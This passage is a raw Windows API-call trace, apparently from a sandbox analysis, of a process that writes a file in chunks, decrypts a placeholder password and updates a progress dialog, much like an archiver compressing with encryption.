(hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0070.283] ResetEvent (hEvent=0x344) returned 1 [0070.283] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0070.283] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0070.394] ResetEvent (hEvent=0x33c) returned 1 [0070.394] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0070.394] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0070.395] ResetEvent (hEvent=0x33c) returned 1 [0070.395] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0070.395] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0070.399] PeekMessageW (in: lpMsg=0xe414dd310, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd310) returned 1 [0070.399] GetMessageW (in: lpMsg=0xe414dd2a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd2a0) returned 1 [0070.399] GetFocus () returned 0x102a8 [0070.399] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd2a0) returned 1 [0070.400] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0070.400] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd3a0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd3a0*=0) returned 0x210bb1 [0070.400] SetFilePointer (in: hFile=0x32c, lDistanceToMove=107, lpDistanceToMoveHigh=0xe414dd370*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd370*=0) returned 0x210c1c [0070.400] CryptUnprotectMemory (in: pDataIn=0xe414dd220, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dd220) returned 1 [0070.400] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xe414dd1a0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0070.400] CryptUnprotectMemory (in: pDataIn=0xe414dcc00, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dcc00) returned 1 [0070.400] CryptUnprotectMemory (in: pDataIn=0xe414dcd00, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dcd00) returned 1 [0070.400] CryptUnprotectMemory (in: pDataIn=0xe414dce80, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xe414dce80) returned 1 [0070.401] ResetEvent (hEvent=0x33c) returned 1 [0070.401] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0070.401] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0070.402] ResetEvent (hEvent=0x33c) returned 1 [0070.402] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0070.402] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0070.405] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0bfefdd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0xe414dd3a0, lpOverlapped=0x0 | out: lpBuffer=0x1ec0bfefdd0*, lpNumberOfBytesWritten=0xe414dd3a0*=0x40000, lpOverlapped=0x0) returned 1 [0070.409] PeekMessageW (in: lpMsg=0xe414dd310, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd310) returned 1 [0070.409] GetMessageW (in: lpMsg=0xe414dd2a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd2a0) returned 1 [0070.409] GetFocus () returned 0x102a8 [0070.409] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd2a0) returned 1 [0070.410] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0070.410] ResetEvent (hEvent=0x33c) returned 1 [0070.410] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0070.410] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0070.411] ResetEvent (hEvent=0x33c) returned 1 [0070.411] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0070.411] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0070.412] ResetEvent (hEvent=0x344) returned 1 [0070.412] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0070.412] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0070.438] ResetEvent (hEvent=0x33c) returned 1 [0070.438] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0070.438] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0070.439] ResetEvent (hEvent=0x33c) returned 1 [0070.439] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0070.439] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0070.440] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0bfefdd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0xe414dd3a0, lpOverlapped=0x0 | out: lpBuffer=0x1ec0bfefdd0*, lpNumberOfBytesWritten=0xe414dd3a0*=0x40000, lpOverlapped=0x0) returned 1 [0070.444] PeekMessageW (in: lpMsg=0xe414dd310, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd310) returned 1 [0070.444] GetMessageW (in: lpMsg=0xe414dd2a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd2a0) returned 1 [0070.444] GetFocus () returned 0x102a8 [0070.444] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd2a0) returned 1 [0070.445] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0070.445] ResetEvent (hEvent=0x33c) returned 1 [0070.445] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0070.445] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0070.446] ResetEvent (hEvent=0x33c) returned 1 [0070.446] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0070.446] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0070.447] ResetEvent (hEvent=0x33c) returned 1 [0070.447] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0070.447] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0070.448] ResetEvent (hEvent=0x33c) returned 1 [0070.448] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0070.448] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0070.449] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0bfefdd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0xe414dd3a0, lpOverlapped=0x0 | out: lpBuffer=0x1ec0bfefdd0*, lpNumberOfBytesWritten=0xe414dd3a0*=0x40000, lpOverlapped=0x0) returned 1 [0070.453] PeekMessageW (in: lpMsg=0xe414dd310, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd310) returned 1 [0070.453] GetMessageW (in: lpMsg=0xe414dd2a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd2a0) returned 1 [0070.453] GetFocus () returned 0x102a8 [0070.453] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd2a0) returned 0 [0070.453] GetKeyState (nVirtKey=16) returned 0 [0070.453] TranslateAcceleratorW (hWnd=0x10284, hAccTable=0x10335, lpMsg=0xe414dd2a0) returned 0 [0070.453] TranslateMessage (lpMsg=0xe414dd2a0) returned 0 [0070.453] DispatchMessageW (lpMsg=0xe414dd2a0) returned 0x1 [0070.453] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0070.453] ResetEvent (hEvent=0x33c) returned 1 [0070.453] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0070.453] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0070.455] ResetEvent (hEvent=0x33c) returned 1 [0070.455] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0070.455] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0070.456] ResetEvent (hEvent=0x344) returned 1 [0070.456] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0070.456] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0070.482] ResetEvent (hEvent=0x33c) returned 1 [0070.482] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0070.482] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0070.483] ResetEvent (hEvent=0x33c) returned 1 [0070.483] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0070.483] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0070.484] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0bfefdd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0xe414dd3a0, lpOverlapped=0x0 | out: lpBuffer=0x1ec0bfefdd0*, lpNumberOfBytesWritten=0xe414dd3a0*=0x40000, lpOverlapped=0x0) returned 1 [0070.491] PeekMessageW (in: lpMsg=0xe414dd310, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd310) returned 1 [0070.491] GetMessageW (in: lpMsg=0xe414dd2a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd2a0) returned 1 [0070.491] GetFocus () returned 0x102a8 [0070.491] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd2a0) returned 1 [0070.491] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0070.491] ResetEvent (hEvent=0x33c) returned 1 [0070.491] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0070.491] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0070.492] ResetEvent (hEvent=0x33c) returned 1 [0070.492] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0070.492] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0070.493] ResetEvent (hEvent=0x33c) returned 1 [0070.493] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0070.493] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0070.494] ResetEvent (hEvent=0x33c) returned 1 [0070.494] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0070.494] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0070.496] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0bfefdd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0xe414dd3a0, lpOverlapped=0x0 | out: lpBuffer=0x1ec0bfefdd0*, lpNumberOfBytesWritten=0xe414dd3a0*=0x40000, lpOverlapped=0x0) returned 1 [0070.499] PeekMessageW (in: lpMsg=0xe414dd310, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd310) returned 1 [0070.499] GetMessageW (in: lpMsg=0xe414dd2a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd2a0) returned 1 [0070.500] GetFocus () returned 0x102a8 [0070.500] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd2a0) returned 1 [0070.501] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0070.501] ResetEvent (hEvent=0x33c) returned 1 [0070.501] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0070.501] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0070.502] ResetEvent (hEvent=0x33c) returned 1 [0070.502] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0070.502] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0070.503] ResetEvent (hEvent=0x344) returned 1 [0070.503] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0070.503] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0070.534] ResetEvent (hEvent=0x33c) returned 1 [0070.534] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0070.534] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0070.535] ResetEvent (hEvent=0x33c) returned 1 [0070.535] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0070.535] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0070.536] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0bfefdd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0xe414dd3a0, lpOverlapped=0x0 | out: lpBuffer=0x1ec0bfefdd0*, lpNumberOfBytesWritten=0xe414dd3a0*=0x40000, lpOverlapped=0x0) returned 1 [0070.540] PeekMessageW (in: lpMsg=0xe414dd310, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd310) returned 1 [0070.540] GetMessageW (in: lpMsg=0xe414dd2a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd2a0) returned 1 [0070.540] GetFocus () returned 0x102a8 [0070.540] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd2a0) returned 1 [0070.540] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0070.541] ResetEvent (hEvent=0x33c) returned 1 [0070.541] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0070.541] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0070.542] ResetEvent (hEvent=0x33c) returned 1 [0070.542] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0070.543] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0070.544] ResetEvent (hEvent=0x33c) returned 1 [0070.544] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0070.544] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0070.545] ResetEvent (hEvent=0x33c) returned 1 [0070.545] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0070.545] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0070.546] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0bfefdd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0xe414dd3a0, lpOverlapped=0x0 | out: lpBuffer=0x1ec0bfefdd0*, lpNumberOfBytesWritten=0xe414dd3a0*=0x40000, lpOverlapped=0x0) returned 1 [0070.550] PeekMessageW (in: lpMsg=0xe414dd310, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd310) returned 1 [0070.550] GetMessageW (in: lpMsg=0xe414dd2a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd2a0) returned 1 [0070.550] GetFocus () returned 0x102a8 [0070.551] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd2a0) returned 1 [0070.551] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0070.552] ResetEvent (hEvent=0x33c) returned 1 [0070.552] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0070.552] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0070.553] ResetEvent (hEvent=0x33c) returned 1 [0070.553] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0070.553] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0070.554] ResetEvent (hEvent=0x344) returned 1 [0070.554] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0070.554] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0070.599] ResetEvent (hEvent=0x33c) returned 1 [0070.599] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0070.599] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0070.600] ResetEvent (hEvent=0x33c) returned 1 [0070.600] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0070.600] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0070.601] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0bfefdd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0xe414dd3a0, lpOverlapped=0x0 | out: lpBuffer=0x1ec0bfefdd0*, lpNumberOfBytesWritten=0xe414dd3a0*=0x40000, lpOverlapped=0x0) returned 1 [0070.608] PeekMessageW (in: lpMsg=0xe414dd310, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd310) returned 1 [0070.608] GetMessageW (in: lpMsg=0xe414dd2a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd2a0) returned 1 [0070.608] GetFocus () returned 0x102a8 [0070.608] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd2a0) returned 1 [0070.608] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0070.608] ResetEvent (hEvent=0x33c) returned 1 [0070.608] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0070.608] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0070.610] ResetEvent (hEvent=0x33c) returned 1 [0070.610] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0070.610] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0070.611] ResetEvent (hEvent=0x33c) returned 1 [0070.611] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0070.611] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0070.612] ResetEvent (hEvent=0x33c) returned 1 [0070.612] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0070.612] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0070.613] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0bfefdd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0xe414dd3a0, lpOverlapped=0x0 | out: lpBuffer=0x1ec0bfefdd0*, lpNumberOfBytesWritten=0xe414dd3a0*=0x40000, lpOverlapped=0x0) returned 1 [0070.617] PeekMessageW (in: lpMsg=0xe414dd310, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd310) returned 1 [0070.617] GetMessageW (in: lpMsg=0xe414dd2a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd2a0) returned 1 [0070.617] GetFocus () returned 0x102a8 [0070.617] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd2a0) returned 1 [0070.618] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0070.619] ResetEvent (hEvent=0x33c) returned 1 [0070.619] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0070.619] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0070.620] ResetEvent (hEvent=0x33c) returned 1 [0070.620] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0070.620] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0070.621] ResetEvent (hEvent=0x344) returned 1 [0070.621] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0070.621] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0070.649] ResetEvent (hEvent=0x33c) returned 1 [0070.649] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0070.649] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0070.650] ResetEvent (hEvent=0x33c) returned 1 [0070.650] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0070.650] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0070.651] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0bfefdd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0xe414dd3a0, lpOverlapped=0x0 | out: lpBuffer=0x1ec0bfefdd0*, lpNumberOfBytesWritten=0xe414dd3a0*=0x40000, lpOverlapped=0x0) returned 1 [0070.655] PeekMessageW (in: lpMsg=0xe414dd310, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd310) returned 1 [0070.655] GetMessageW (in: lpMsg=0xe414dd2a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd2a0) returned 1 [0070.655] GetFocus () returned 0x102a8 [0070.655] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd2a0) returned 1 [0070.656] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0070.656] ResetEvent (hEvent=0x33c) returned 1 [0070.656] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0070.656] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0070.657] ResetEvent (hEvent=0x33c) returned 1 [0070.657] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0070.657] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0070.658] ReadFile (in: hFile=0x350, lpBuffer=0x1ec10214440, nNumberOfBytesToRead=0x400000, lpNumberOfBytesRead=0xe414dd690, lpOverlapped=0x0 | out: lpBuffer=0x1ec10214440*, lpNumberOfBytesRead=0xe414dd690*=0x0, lpOverlapped=0x0) returned 1 [0070.658] GetTickCount () returned 0x278a1 [0070.658] GetLastError () returned 0x0 [0070.658] SetLastError (dwErrCode=0x0) [0070.658] GetDlgItem (hDlg=0x10284, nIDDlgItem=158) returned 0x10290 [0070.658] GetDlgItem (hDlg=0x10284, nIDDlgItem=153) returned 0x1028e [0070.658] GetWindowTextW (in: hWnd=0x1028e, lpString=0xe414dbd00, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0070.658] SendMessageW (hWnd=0x10290, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x64 [0070.659] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=16198765580) returned 1 [0070.659] GetTickCount () returned 0x278a1 [0070.659] GetLastError () returned 0x0 [0070.659] SetLastError (dwErrCode=0x0) [0070.659] GetDlgItem (hDlg=0x10284, nIDDlgItem=154) returned 0x10296 [0070.659] GetWindowTextW (in: hWnd=0x10296, lpString=0xe414dc160, nMaxCount=2560 | out: lpString="00:00:02") returned 8 [0070.659] SetWindowTextW (hWnd=0x10296, lpString="00:00:04") returned 1 [0070.660] GetTickCount () returned 0x278a1 [0070.660] GetLastError () returned 0x0 [0070.660] SetLastError (dwErrCode=0x0) [0070.660] GetDlgItem (hDlg=0x10284, nIDDlgItem=151) returned 0x1029a [0070.660] GetWindowTextW (in: hWnd=0x1029a, lpString=0xe414dc160, nMaxCount=2560 | out: lpString="00:00:04") returned 8 [0070.660] SetWindowTextW (hWnd=0x1029a, lpString="00:00:00") returned 1 [0070.660] GetTickCount () returned 0x278a1 [0070.660] CoCreateInstance (in: rclsid=0x7ff6f75ef5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ff6f75ecc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0xe414dd138 | out: ppv=0xe414dd138*=0x1ec0dde2f10) returned 0x0 [0070.660] TaskbarList:ITaskbarList3:SetProgressState (This=0x1ec0dde2f10, hwnd=0x10284, tbpFlags=2) returned 0x0 [0070.661] TaskbarList:ITaskbarList3:SetProgressValue (This=0x1ec0dde2f10, hwnd=0x10284, ullCompleted=0x4cd894, ullTotal=0x4f8c9e) returned 0x0 [0070.661] TaskbarList:IUnknown:Release (This=0x1ec0dde2f10) returned 0x0 [0070.661] GetLastError () returned 0x36b7 [0070.661] SetLastError (dwErrCode=0x36b7) [0070.661] GetDlgItem (hDlg=0x10284, nIDDlgItem=157) returned 0x102a6 [0070.661] GetDlgItem (hDlg=0x10284, nIDDlgItem=152) returned 0x102a4 [0070.661] GetWindowTextW (in: hWnd=0x102a4, lpString=0xe414dbd00, nMaxCount=2560 | out: lpString=" 39%") returned 5 [0070.661] SetWindowTextW (hWnd=0x102a4, lpString=" 96%") returned 1 [0070.662] GetLastError () returned 0x0 [0070.662] SetLastError (dwErrCode=0x0) [0070.662] GetDlgItem (hDlg=0x10284, nIDDlgItem=164) returned 0x102a0 [0070.662] GetWindowTextW (in: hWnd=0x102a0, lpString=0xe414dbd00, nMaxCount=2560 | out: lpString=" 99%") returned 5 [0070.662] SetWindowTextW 